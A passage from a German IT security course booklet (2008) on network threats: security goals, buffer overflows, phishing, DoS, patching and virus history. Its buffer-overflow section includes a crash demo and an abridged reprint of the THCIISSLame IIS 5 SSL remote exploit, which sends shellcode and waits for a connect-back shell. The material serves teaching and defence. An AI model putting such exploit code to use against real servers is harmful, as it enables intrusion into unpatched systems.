Gefahren aus dem Netz

Transcription

Gefahren aus dem Netz
Gefahren aus dem Netz
Computerviren, ActiveX, Java und Internettechnologien
4. Überarbeitete und erweiterte Auflage - 2008
Copyright © 1999, 2000
Digicomp AG, Grabenstrasse 1, 8952 Schlieren, http://www.digicomp.ch
Copyright © 2008
Armin Hammer, Waldeggstrasse 2, 6343 Rotkreuz, http:/www.ahammer.ch
1
Vorwort zur 4. Auflage
Die Basis des vorliegenden Dokumentes entstand 1999 als Begleitunterlage für den
Computerkurs VIR bei der Digicomp AG. Die erste und zweite Auflage dieses Dokumentes ist im Besitz der Digicomp AG. Eine dritte Auflage wurde zwar noch vom Autor
erarbeitet, ging aber nie in den Besitz der Digicomp über, da die Firma im Oktober 2003
in die Nachlasstundung ging und kurz darauf von der Firma Nanoprécis AG übernommen wurde. Die neuen Inhaber strichen das Kursangebot massiv zusammen, so dass
der Kurs VIR nicht mehr angeboten wurde.
Die 4. Auflage stellt eine vollständig überarbeitete Version in formaler wie auch inhaltlicher Sicht dar. Losgelöst von der ursprünglichen Bindung an den Besuch eines
Kurses ist diese Auflage nun erstmals frei im Internet zugänglich.
Armin Hammer, 2008
2
Inhaltsverzeichnis
1 Einführung
1.1 Motivation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.2 Inhaltsübersicht . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.3 Abgrenzung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5
5
6
6
2 Informatiksicherheit
2.1 Ziele . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.2 Viren und Bedrohungen aus dem Netz . . . . . . . . . . . . . . . . . . . . .
7
7
8
3 Unsichere Systeme
3.1 Einführung . . . . . . . .
3.2 Bedrohung . . . . . . . .
3.2.1 Buffer Overflow .
3.2.2 Pishing Emails .
3.2.3 Denial-Of-Service
3.3 Massnahmen . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
9
. 9
. 9
. 9
. 14
. 15
. 16
4 Viren
4.1 Was ist ein Computervirus? . . . . . . . . .
4.2 Geschichte . . . . . . . . . . . . . . . . . . .
4.3 Virenproblematik . . . . . . . . . . . . . . .
4.4 Virenarten und deren Verbreitung . . . . .
4.4.1 Übersicht . . . . . . . . . . . . . . . .
4.4.2 (Klassisches) Virus . . . . . . . . . .
4.4.3 Makrovirus . . . . . . . . . . . . . . .
4.4.4 Trojanisches Pferd . . . . . . . . . .
4.4.5 Wurm . . . . . . . . . . . . . . . . . .
4.4.6 Hoax . . . . . . . . . . . . . . . . . .
4.4.7 Mögliche zukünftige Computerviren
4.5 Virenbekämpfung . . . . . . . . . . . . . . .
4.5.1 Backupstrategien . . . . . . . . . . .
4.5.2 Prävention . . . . . . . . . . . . . . .
4.5.3 Suchen und Entfernen von Viren . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
20
20
20
21
22
22
23
31
40
42
45
46
49
49
49
50
5 ActiveX
5.1 Technologie . . . . . . . . . . . . . . . . .
5.1.1 ActiveX als Anwender . . . . . .
5.1.2 ActiveX aus Sicht des Technikers
5.2 Bedrohung . . . . . . . . . . . . . . . . .
5.3 Massnahmen . . . . . . . . . . . . . . . .
5.4 Zukunft . . . . . . . . . . . . . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
51
51
51
53
54
57
61
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
3
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
6 JavaTM
6.1 Technologie . . . . .
6.2 Bedrohung . . . . .
6.3 JavaTM 2 Plattform
6.4 Massnahmen . . . .
6.5 Zukunft . . . . . . .
.
.
.
.
.
63
63
66
67
68
70
7 JavaScript
7.1 Technologie . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.2 Bedrohung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.3 Massnahmen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
72
72
74
75
8 Cookies
8.1 Technologie . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8.2 Bedrohung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8.3 Massnahmen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
77
77
78
79
9 Cross-Side-Scripting
9.1 Technologie . . . . . . .
9.2 Bedrohung . . . . . . .
9.2.1 Browserbeispiel
9.2.2 Serverbeispiel .
9.3 Massnahmen . . . . . .
9.4 Zukunft . . . . . . . . .
.
.
.
.
.
.
81
81
82
82
82
82
82
10 SQL-Injection
10.1 Technologie . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.2 Bedrohung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.3 Massnahmen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
83
83
83
84
A Quellenverzeichnis
85
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
4
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
Kapitel 1
Einführung
1.1
Motivation
Meldungen über Viren und Hacker machen regelmässig Runde in der Presse, dem Radio und selbst im Fernsehen. Die Bedrohung ist real und verunsichert viele Benutzer.
Nur wer sich umfassend mit diesem Thema befasst und vorbereitet, kann diesen Meldungen gelassen gegenüberstehen.
Abbildung 1.1: Virenimpfung - Quelle «Information Week» Heft 21/1998 Seite 88
Diese Dokumentation zeigt dem Leser die zum Verständnis der Bedrohungen nötigen Grundlagen auf und führt ihn schrittweise zu Konzepten und Vorgehensweisen,
wie man sich vor den Gefahren aus dem Netz schützen kann.
5
1.2
Inhaltsübersicht
Die Gefahren, mit denen ein Internetbenutzer konfrontiert wird, lassen sich in drei
Gruppen einteilen.
• Unsichere Systeme : Fast alle Softwarehersteller liefern heute Korrekturen ihrer
Programme in Form von Patches und Updates aus. Das Einspielen dieser sicherheitsrelevanten Korrekturen ist extrem wichtig, da unsichere Systeme als von
Hackern kontrollierten Zombie Computer enden und eine ideale Plattform zur
Verbreitung von Würmern und zum Aufbau von BOT- Netzen darstellen.
• Computerviren : Speicherung - oder Empfang per Email - von Programmen und
Dokumenten. Dabei kann der eigene Rechner mit Computerviren infiziert werden
und als Basis für die weitere Verbreitung dienen.
• Benutzung von Internettechnologien wie ActiveX, VisualBasic, Java, JavaScript
oder Cookies für Multimedia, Online-Dienste usw. Diese Technologien werden
häufig unter dem Begriff «Web 2.0» zusammengefasst. Diese Mechanismen ermöglichen bisher nicht realisierbare Interaktionen zwischen Internetanbieter und
dem Benutzer. Sie lassen sich jedoch missbrauchen und zum Schaden des Anwenders verwenden.
Die nachfolgenden Seiten besprechen die verschiedenen Bedrohungen, angefangen bei
unsicheren Systemen über Computerviren bis hin zu den aktuellen Internettechnologien mit ActiveX, Java, JavaScript, Cookies, Cross-Side-Scripting (XSS) und SQLInjection. Für jede Bedrohung werden zuerst die Grundlagen erarbeitet und anschliessend Konzepte für Vorbeugung und Behebung aufgezeigt.
1.3
Abgrenzung
Das Thema «Gefahren aus dem Netz» streift viele Gebiete wie zum Beispiel die Programmierung in Java und die Handhabung und Konfiguration von Microsoft Windows.
Daneben werden aber auch organisatorische Themen und rechtliche Aspekte tangiert.
Im Rahmen dieser Dokumentation auf alle Themengebiete einzugehen ist nicht
möglich, deshalb werden hier zu Beginn die nicht behandelten Gebiete explizit ausgeklammert.
• Keine spezifische Produkteschulung
Hier wird kein spezifisches Produkt (z.B. Windows 2003 Server), sondern eine
umfassende Problematik geschult. Die Lösung dieser Problematik lässt sich anschliessend mit sehr unterschiedlichen Softwarepaketen und Konzepten realisieren.
• Keine Gesetzeskunde
Ebenfalls nicht in diesem Kurs behandelt werden die rechtlichen Aspekte. Hier
sei auf das schweizerische Strafgesetzbuch (Artikel 143 und 144), das Bundesgesetz über den Datenschutz und den Eidgenössischen Datenschutzbeauftragten
(http://www.edsb.ch) verwiesen.
• Kein Lehrgang zur Programmierung von Viren
Dieser Kurs beinhaltet detailliert die Funktionsweise und den inneren Aufbau
von Viren, welche für das Verständnis und die Bekämpfung der Computerviren
unerlässlich ist. Es ist aber wichtig hervorzuheben, dass diese Dokumentation
keine Anleitung zur Programmierung eigener Viren darstellt oder dazu zu verwenden ist!
6
Kapitel 2
Informatiksicherheit
Die Abhängigkeit von Computern in Industrie und Gewerbe ist so gross wie nie zuvor.
Sei es in der Administration (Wo stehen heute noch mechanische Schreibmaschinen in
den Büroräumlichkeiten!), in der Produktion (Stichwort CIM1 ) oder der Telekommunikation (Stichwort VoiceOverIP). Die Verwendbarkeit der verschiedenen Computersysteme muss unbedingt sichergestellt werden, da bei Ausfällen oder falschen Informationen Termine nicht eingehalten werden oder schlicht die komplette Produktion still
steht. Solche Ausfälle können den Firmen viel Geld kosten und existenzbedrohende
Auswirkungen haben. Alle Massnahmen, Vorgehensweisen und technischen Hilfsmittel, welche dem Schutze der Informatikanlagen dienen sollen, lassen sich unter dem
Begriff Informatiksicherheit zusammenfassen.
2.1
Ziele
Die Informatiksicherheit basiert auf den folgenden vier Grundzielen:
• Verfügbarkeit
Wann immer Informationen benötigt werden, sollen diese zur Verfügung stehen, anderenfalls leidet die Produktivität. Häufig wird anstelle der Informationen
auch ein spezifischer Dienst oder Service angeführt (z.B. Kommunikationssystem
Email).
• Integrität
Für den Benutzer des Computersystems muss sichergestellt werden, dass die von
ihm abgelegten Informationen nicht manipuliert bzw. verändert werden und im
Originalzustand weiter zu bearbeiten sind.
• Vertraulichkeit
Schützenswerte Informationen sollen gegen unbefugten Zugriff gesichert werden.
Neben vertraulichen, betriebsinternen oder privaten Informationen sind hier alle
Datensammlungen angesprochen, welche unter das schweizerische Datenschutzgesetz fallen.
• Verbindlichkeit
Getätigte Kommunikation ist nachweisbar und schafft im Zusammenspiel mit
einem Identitätsnachweis der Kommunikationspartner eine rechtskräftige Verbindlichkeit der kommunizierten Information.
1 computer
integrated manufacturing
7
2.2
Viren und Bedrohungen aus dem Netz
Die oben genannten Ziele der Informatiksicherheit sind manigfaltig bedroht. Neben
fehleranfälligen Programmen oder Hardwaresystemen spielen hier vor allem die absichtlich herbeigeführten Angriffe eine entscheidende Rolle. Die Bedrohung, die sich
daraus ergibt, richtet sich zumeist gegen die Verfügbarkeit von Systemen oder gegen
die Vertraulichkeit von Informationen.
Aber auch die Verbindlichkeit ist unter Beschuss, wenn zum Beispiel durch PishingEmails erhalte Identitätskennungen zum Erschleichen von Dienstleistungen Verwendung finden.
Das Internet ist dabei keine eigentliche Bedrohung, aber die Verbindung mit einem
globalen, unkontrollierten Netzwerk fördert in hohem Masse die Verbreitung. Wurden früher Computerviren hauptsächlich durch Disketten ausgetauscht, lassen sie sich
heute, in gut besuchten Newsgruppen platziert, innert Stunden um die ganze Welt verteilen (z.B. Melissa- Makrovirus).
Die folgende Abbildung veranschaulicht die Zugehörigkeit von Technologie und Bedrohung.
Abbildung 2.1: Übersicht der Angriffe und deren Bedrohungen
8
Kapitel 3
Unsichere Systeme
3.1
Einführung
Quellcodeanalysen zeigen, dass sich statistisch pro 1000 Programmzeilen zwischen
0.42 bei Open-Source Projekten und 0.51 bei kommerziellen, closed-source Programme zeigen. Aktuelle Scans sind zum Beispiel jene von Coverty http://scan.coverity.com.
Rechnet man diese Zahlen auf bekannte Systeme um, so ergeben sich folgende geschätzte Fehlerzahlen in den jeweiligen Produkten. Um den Vergleich zu vereinfachen,
wurde auch bei den closed-source Windows Systemen die statistische Defect Density
von 0.42 verwendet.
Software
Windows 3.1
Windows 95
Windows XP
Windows Vista
Linux Kernel v2.6
Firefox v1.5
Apache v2.2
# Programmzeilen
2.5 Mio
15 Mio
40 Mio
50 Mio
3.3 Mio
1.8 Mio
0.6 Mio
~ Fehleranzahl
1’050
6’300
16’800
21’000
1’386
756
252
Wie gravierend die jeweiligen Fehler sind, darüber streiten sich in der Regel selbst
die Experten. Für den Enduser ist bei diesem Thema insofern wichtig, dass der Hersteller einer Software die gefundenen Programmfehler analysiert, ihre Priorität erkennt
und entsprechend deren Dringlichkeit einen Patch zur Korrektur liefert.
3.2
Bedrohung
3.2.1
Buffer Overflow
Ein häufiger Programmierfehler ist der so genannte Buffer Overflow. Er entsteht, wenn
bei einer Zuweisung mehr Informationen zugewiesen wird, als eigentlich vom Programmierer vorgesehen. Zusätzlich muss der Programmierer vergessen haben, dies
abzufangen bzw. die Datengrösse vorgängig zu kontrollieren.
Folgendes Beispiel soll das Konzept eines Buffer Overflows illustrieren.
#include <stdio.h>
int main() {
char envbuffer[1024];
if (getenv("BOF") == NULL) {
fprintf(stderr, "BOF not set\n");
exit(1);
}
9
/* Read the environment variable data into the buffer */
strcpy(envbuffer, (char *)getenv("BOF"));
printf("Environment variable BOF is:\n\"%s\".\n\n", envbuffer);
printf("bof-end\n");
return 0;
}
Das Programm bof liesst die Umgebungsvariable BOF des Betriebssystems aus und
zeigt deren Inhalt in der Kommandozeile an.
Für den Buffer Overflow sind folgende zwei Zeilen elementar. Zum einen die Deklaration einer Puffervariable. Diese ist fix auf eine maximale Grösse von 1024 Zeichen
begrenzt.
char envbuffer[1024];
Zum anderen ist es die Zuweisungszeile, in der die Umgebungsvariable ungeprüft dem
Puffer zuweisen wird.
strcpy(envbuffer, (char *)getenv("BOF"));
Als ANSI-C Programm lsst sich das Programm wie folgt compilieren und ausführen.
gcc -o bof bof.c
MacOsX:/src/bof $ export BOF=”Hello world”
MacOsX:/src/bof $ ./bof
Environment variable BOF is:
“Hello world”
bof-end
So weit so gut. Um den Buffer Overflow nun auszunutzen, verlängert man systematisch die Umgebungsvariable BOF. Auf dem Testsystem bis zu einer Länge von 1060
Zeichen.
MacOsX:/src/bof $ export BOF=‘perl -e ’{print "A"x"1060"}’‘
MacOsX:/src/bof $ gdb bof
GNU gdb 6.1-20040303 (Apple version gdb-434)
(gdb) r
Starting program: /src/bof/bof
Environment variable BOF is:
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA....
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
bof-end
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x41414140
0x41414140 in ?? ()
(gdb) q
Um das Verhalten des Programms besser zu dokumentieren, wurde es direkt mittels
eines Debuggers gestartet. Dieser erlaubt die Einsicht in die Abarbeitung und möglicher Fehler.
Zu Beginn arbeitet das Programm bof noch wie geplant und schreibt den Inhalt
der Umgebungsvariable auf den Bildschirm. Doch anschliessend versucht es zusätzlich nicht vorhandener Programmcode auszführen - zu sehen an der Zeile “Could not
access memory”. Die zu lange Umgebungsvariable hat das ursprüngliche Programm
im Rechner verändert. Durch Versuche wurde bei einer Länge von 1060 Zeichen jener Teil des Programms berschrieben, wo weitere Programmanweisungen abarbeitet
10
werden. Der Debugger fängt diesen Fehler ab, da die im Beispiel verwendete sinnlose
Kombination von AAAAs keine korrekte Anweisung darstellt.
Zur Verständlichkeit sei gesagt, dass die hexadezimale Zahl 0x41 - ASCII «A» und
deren Wiederholung die angezeigt Speicherstelle 0x41414140 darstellt.
Die letzte Eins wird als Null darstellt. Dies ist eine Eigenheit des verwendeten
Testsystems, welches auf einem 32Bit PowerPC Prozessor von Motorola basiert. Dieser
Prozessor ist auf 4Byte Speicheradressierung optimiert und ignoriert ungerade Speicherstellen.
11
Beispiel SSL Exploit
Vom theoretischen Beispiel nun zu einer realen Anwendung. Im April 2004 tauchte ein
SSL Exploit für den IIS v5 von Microsoft auf. Umgesetzt in nachfolgendem Programm
liess sich ein nicht aktualisierter Server erfolgreich angreifen und eine Verbindung
etablieren, über die man den Server per Console administrieren kann.
Die allgemeine Beschreibung liefert Microsoft in ihrem Security Bulletin MS04-011.
/*************************************************************/
/* THCIISSLame 0.2 - IIS 5 SSL remote root exploit
*/
/* Exploit by: Johnny Cyberpunk ([email protected])
*/
/*
*/
/* Bug was found by Internet Security Systems
*/
/* Reversing credits of the bug go to Halvar Flake
*/
/*
*/
/* compile with MS Visual C++ : cl THCIISSLame.c
*/
/*
*/
/* This little update uses a connectback shell !
*/
/*************************************************************/
#include <stdio.h>
...
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#define jumper
"\xeb\x0f"
#define greetings_to_microsoft "\x54\x48\x43\x4f\x57\x4e\x5a\x49...."
char sslshit[] = "\x80\x62\x01\x02\xbd\x00\x01\x00\x01\x00\x16\.....";
char shellcode[] =
"\xeb\x25\x7a\x69\x7f\x00\x00\x01\x02\x06\x6c\x59\x6c\x59\xf8"
...
"\x55\xf0\x6a\xff\xff\x55\xe4";
int main(int argc, char *argv[])
{
unsigned int i,sock,sock2,sock3,addr,rc,len=16;
...
unsigned long cbip;
struct sockaddr_in mytcp;
struct hostent * hp;
WSADATA wsaData;
printf("\nTHCIISSLame v0.2 - IIS 5.0 SSL remote root exploit\n");
printf("tested on Windows 2000 Server german/english SP4\n");
if(argc<4 || argc>4)
usage();
badbuf = malloc(327);
memset(badbuf,0,327);
printf("\n[*] building buffer\n");
p = badbuf;
memcpy(p,sslshit,sizeof(sslshit));
p+=sizeof(sslshit)-1;
strcat(p,jumper);
strcat(p,greetings_to_microsoft);
offset^=XOR;
strncat(p,(unsigned char *)&offset,4);
cbport = htons((unsigned short)atoi(argv[3]));
cbip = inet_addr(argv[2]);
memcpy(&shellcode[2],&cbport,2);
12
memcpy(&shellcode[4],&cbip,4);
strcat(p,shellcode);
if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0)
{
printf("WSAStartup failed !\n");
exit(-1);
}
hp = gethostbyname(argv[1]);
if (hp != NULL)
memcpy(&(mytcp.sin_addr),hp->h_addr,hp->h_length);
else
mytcp.sin_addr.s_addr = addr;
if (hp)
mytcp.sin_family = hp->h_addrtype;
else
mytcp.sin_family = AF_INET;
mytcp.sin_port=htons(443);
printf("[*] connecting the target\n");
rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct sockaddr_in));
if(rc==0)
{
send(sock,badbuf,326,0);
printf("[*] exploit send\n");
Sleep(500);
mytcp.sin_addr.s_addr = 0;
mytcp.sin_port=htons((unsigned short)atoi(argv[3]));
sock2=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
rc=bind(sock2,(struct sockaddr *)&mytcp,16);
if(rc!=0)
{
printf("bind error() %d\n",WSAGetLastError());
exit(-1);
}
rc=listen(sock2,1);
printf("[*] waiting for shell\n");
sock3 = accept(sock2, (struct sockaddr*)&mytcp,&len);
if(sock3)
{
printf("[*] Exploit successful ! Have fun !\n");
shell(sock3);
}
}
else
{
printf("\nCan’t connect to ssl port 443!\n");
exit(-1);
}
...
13
3.2.2
Pishing Emails
Phishing Emails sollen den Empfänger verleiten, die im Email angegebene Website
zu besuchen und dort seine vertraulichen Informationen - Benutzername, Kennwort
und/oder TAN - einzugeben. Dazu gaukelt der Versender ein möglichst offizielles Email
inklusive Website mit zumeist identischem Aussehen, wie die eigentliche Firmenseite,
vor.
Zusätzlich versehen mit einem Ultimatum, dass bei nicht reagieren der eigene Account gesperrt werde, tappen viele Anweder in die Falle.
Abbildung 3.1: Phising Email an PostFinance Kunden
Auf den ersten Blick erscheinen die Email authentisch. Erst auf den zweiten Blick
zeigen sich Fehler, die so nicht sein dürften. So sind grobe Rechtschreibfehler an der
Tagesordnung und auch die vollständige Darstellung der Absenderadresse zeigt verräterische Angaben.
Abbildung 3.2: Phishing Website mit UBS Look
14
Wer hier seine vertraulichen Angeben wie Vertragsnummer, Kennwort und TAN
eingibt, ebenet Dieben den Zugriff aufs private Konto.
Erste Phising-Opfer waren Nutzer von eBay und Amazon. Mit vorschreitender Professionalisierung der Banden, werden immer mehr Banken bzw. ihre Online-FinancePortale - Ziele von Phishing-Attacken. Glücklicherweise ist das Vorgehen der PhisingAttacken in der Regel klar ersichtlich, so dass man grundsätzlich folgende Merkregel
aufstellen kann.
Keine seriöse Firma, Bank oder sonstige Organisation wird jemals per
EMail den Kunden zur Eingabe der vertraulichen Informationen bitten.
PostFinance, ein schweizer Online-Portal, infomierte zum Beispiel seine Kunden wie
folgt.
Abbildung 3.3: PostFinance - Information
3.2.3
Denial-Of-Service
Denial-Of-Service - kurz DoS - beschreibt den Umstand, das ein Service seine Funktion nicht mehr ausführen kann. Die möglichen Ursachen lassen sich in zwei Gruppen
aufteilen.
Programmierfehler Der DoS tritt aufgrund eines Programmierfehlers auf, welcher
zum Absturz des Services führt.
By-Design Die Konzeption eines Verfahrens oder Vorgehens lässt sich missbrauchen.
Eine DoS Attacke kann von einem einzelnen Rechner ausgeführt werden oder auch
von einem BOT1 -Netzverbund bestehend aus hunderten von Rechnern. Bei letzterem
Spricht man dabei von einem Distributed-Denial-Of-Service - kurz DDoS.
Bei einem DDoS Angriff wird ein Internetportal so massiv mit Hits eindeckt, dass
das Hosting des Portals aufgrund der hohen Last zusammenbricht. Ein protokolliertes
Beispiel findet sich unter http://www.blogg.ch vom Sa. 23. September 2006 mit dem
Titel «Protokoll einer DDOS Attacke».
1 Unter einem Bot (vom Begriff robot abgeleitet) versteht man ein Computerprogramm, das weitgehend
autonom ständig gleichen, sich wiederholenden Aufgaben nachgeht. Es handelt sich dabei meist um ein eher
simples, aber effektives Programm. Gebräuchlich ist die Bezeichnung auch für quasi-selbständige Programme im Bereich der Künstlichen Intelligenz.
15
Programmierfehler
Klassische Programmierfehler sind sogenannte Memory-Leaks. Die Software räumt
die für die korrekte Funktionsweise benötigten Daten im Arbeitsspeicher gar nicht
oder unter grosser Last zuwenig schnell auf, so dass die Serverressourcen schlussendlich aufgebraucht sind.
Abbildung 3.4: Speicherproblem
Obiges Beispiel zeigt einen Server mit einer fehlerhaften Komponente. Diese Komponente muss alle paar Tage frisch gestartet werden, um nicht ans Limit der vorhandenen 512MByte Arbeitspeicher zu stossen.
By-Design Fehler
Konzeptionelle Unzulänglichkeiten sind eine weitere Quelle möglicher DoS Angriffe.
Ein Beispiel dafür ist ICMP Timestamp Reply. Die Anfrage ist kleiner als die vom
Server provozierte Antwort. Gut geplant kann hier ein Angreifer mit wenig Internetbandbreite einen Service mit grosser Bandbreite lahmlegen, indem er die vorhandene
Bandbreite durch ICMP Timestamp-Replys füllt. Inzwischen ist diese Art des Angriffes
wohlbekannt und lässt sich leicht durch eine Firewall blockieren.
ICMP Timestamp - 96 Bytes Umfang
Abbildung 3.5: ICMP Timestamp Struktur
ICMP Timestamp Reply - 160 Bytes Umfang
Abbildung 3.6: ICMP Timestamp Reply Struktur
3.3
Massnahmen
Alle grossen Hersteller liefern Fehlerkorrekturen in Form von Patches aus. Diese erlauben es, ein bestehendes, aktives System zu aktualisieren ohne Neuinstallation.
16
Microsoft lieferte ursprünglich ihre Patches sofort nach deren Erscheinung aus. Dabei konnte es passieren, dass innerhalb einer Woche drei Patches erschienen, welche
alle mit einem Neustart des Systems abgeschlossen werden mussten. Als Privatanwender ist dies vielleicht zumutbar, da der Computer am Abend in der Regel eh abgeschaltet wird. Aber in einem Dienstleistungsbetrieb hat man in der Regel ein Servicefenster
pro Woche, wo man grundlegende Arbeiten an System durchführt und einen Reboot
tätigen kann. Seit Herbst 2004 liefert Microsoft ihre Patches einmal Monat.
Windows 2000 ab Servicepack 4 und alle neueren Versionen beinhaltet einen automatischen Updatemechanismus. Dieser bezieht seine Patches bei Privatanwendern
direkt von Microsoft.
Abbildung 3.7: Windows Update on Windows 2003 Server
In grösseren Firmen würde das Downloadvolumen aber bei weitem die zur Verfügung stehende Bandbreite ausfüllen. Entsprechend bietet Microsoft kostenlos eine
Alternative an, den so genannten Windows Update Service.
Dieser Services bezieht einmalig die Patches von Microsoft und verteilt diese anschliessend auf Anfrage an die Arbeitsstationen.
Abbildung 3.8: WSUS Administrationsbackend
Neben der Verteilung übernimmt dieser Service auch die Verwaltung und das Reporting über die zu verwaltenden Arbeitsstationen.
17
Die Arbeitsstationen werden in der Regel per Group Policy auf die Nutzung dieses
Services anstelle des direkten Internetdownloads konfiguriert und gegen Fehlmanipulation geschützt.
Abbildung 3.9: Arbeitsstation mit Konfigurationsschutz
Hersteller anderer Betriebssysteme, wie zum Beispiel Apple mit MacOs X oder RedHat bietet vergleichbare Aktualisierungs- und Verwaltungswerkzeuge.
Abbildung 3.10: MacOsX Software-Aktualisierung
18
Abbildung 3.11: RedHat Network
19
Kapitel 4
Viren
4.1
Was ist ein Computervirus?
Ein Computervirus ist - allgemein definiert - eine Folge von Anweisungen, die Programme, gespeicherte Informationen und/oder das Betriebssystem absichtlich zum Schaden des Benutzers manipuliert.
Je nachdem, in welcher Gestalt und Form die schädlichen Anweisungen anzutreffen sind, spricht man vom (klassischen) Virus, einem Makrovirus, einem trojanischen
Pferd oder von einem Wurm.
Häufig anzutreffen sind auch so genannte Hoaxes (engl. für Jux). Dies sind Warnungen vor nicht existenten Computerviren.
4.2
Geschichte
Die Geschichte der Computerviren ist eng mit der Verbreitung der Personal Computer
verknüpft und beschleunigt sich aufgrund der weltweiten Vernetzung rapide.
1984
Fred Cohen : Doktorarbeit “Computer Viruses :Theory and Experiments”
1986
Erster MS-DOS Virus, genannt ”Brain”
1988
Erste AntiViren Programme erscheinen
INTERNET-Wurm legte 250’000 Unix-Rechner während zwei Tagen lahm.
Vermutlicher wirtschaftlicher Schaden : 96 Millionen US-Dollar.
1999
Melissa Macrovirus - Als erstes Virus verschickt es per Outlook selbstndig
infizierte Word-Dokumente und verbreitet sich deshalb rasend schnell.
2000
LoveLetter/VBS Virus - In nur 6 Stunden verteilte sich das Virus in Amerika und ganz Europa und infizierte dabei etwa 2.5 Millionen Computer.
2001
Code Red - Dieser Wurm attackierte den Internet Information Service von
Windows, nistete sich dort aufgrund eine Systemfehlers ein und verbreitete sich anschliessend auf an-dere IIS Server.
2002
Nimbda - Ebenfalls ein Wurm, wie Code Red. Dieser attackierte ebenfalls
den IIS von Microsoft. Zudem versuchte er auch lokal per Netzwerk zugngliche Rechner zu infizieren und versandt sich selber per Email an andere
Systeme.
2003
Blaster - Aufgrund eines Programmfehlers in der zentralen Komponente
für die Netzwerkkommunikation (aka remote procedure call - kurz RPC)
nistete sich dieser Wurm rasch in Windows Rechner ein und verbreitete
sich in lokalen Netzwerken. Daneben führte er hufig zum Absturz der RPC
20
- Komponente, was Windows mit einem Absturz und anschliessendem Neustart quittierte
2004
MyDoom - Dieses Virus setzte neue Massstäbe in der Verbreitungsgeschwindigkeit. In den ersten 36 Stunden nach seinem Ausbruch generierte dieses
